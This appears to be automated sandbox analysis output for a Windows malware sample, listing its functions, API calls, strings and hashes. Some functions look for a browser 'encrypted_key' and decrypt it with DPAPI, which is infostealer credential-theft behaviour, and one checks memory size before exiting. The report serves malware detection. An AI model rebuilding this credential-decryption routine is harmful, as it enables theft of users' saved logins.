Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02704B50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 56a7a2eaca477f508df01b6ae7b581fc7ce2bfc03d470372eaf33e70fda0dad6
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 56a7a2eaca477f508df01b6ae7b581fc7ce2bfc03d470372eaf33e70fda0dad6
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 2dddbfb2c0619b2a6c579a249d01c1d9c1681de6d9b22ca5e1b21f04b3ff7f38
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 2dddbfb2c0619b2a6c579a249d01c1d9c1681de6d9b22ca5e1b21f04b3ff7f38
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

, xrefs: 00409E11
"encrypted_key":", xrefs: 00409D80
DPAPI, xrefs: 00409DD9

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 596995583-738592651
Opcode ID: c5d85001ada9da0948c4e6a5f2fc00b447c755276a666ca92b756a4a65e0b23d
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: c5d85001ada9da0948c4e6a5f2fc00b447c755276a666ca92b756a4a65e0b23d
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6C65C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C65C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C65C969
GetSystemInfo.KERNEL32(?), ref: 6C65C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C65C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C65C9E2

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 9d98853bfd446a1e524ea0378fb2131f05ab827a18d065d100a3bbd93dcf27b0
Instruction ID: c98ffd7a96004471f613d98777d1863b52f7e9bee224c29abf004df83d6a9c24
Opcode Fuzzy Hash: 9d98853bfd446a1e524ea0378fb2131f05ab827a18d065d100a3bbd93dcf27b0
Instruction Fuzzy Hash: C921F9717412147BDB14AA25CCC4BAE73B9AB8B744FA0051AF907E7B80DB706E1087AD

Function 004178A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,027092B8,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,02729A10,00000000,00000000,000000FF,000000FF), ref: 0041791F
RegCloseKey.ADVAPI32(?), ref: 00417932

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02726D98), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,02726D28), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,02726EA8), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 6730e0201d9599f26e804f7e0f440cf9068ea212e0644320ea0c97cae3d530ec
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: 6730e0201d9599f26e804f7e0f440cf9068ea212e0644320ea0c97cae3d530ec
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02726D98), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,02726D28), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,02726EA8), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 2cf8893c1101c5a48d2aec29c828d544eba034f1e13f4abd7bc264e35c2be7d6
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: 2cf8893c1101c5a48d2aec29c828d544eba034f1e13f4abd7bc264e35c2be7d6
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(02726C38,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(0270A3D8,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02704B50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(02726C38,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps
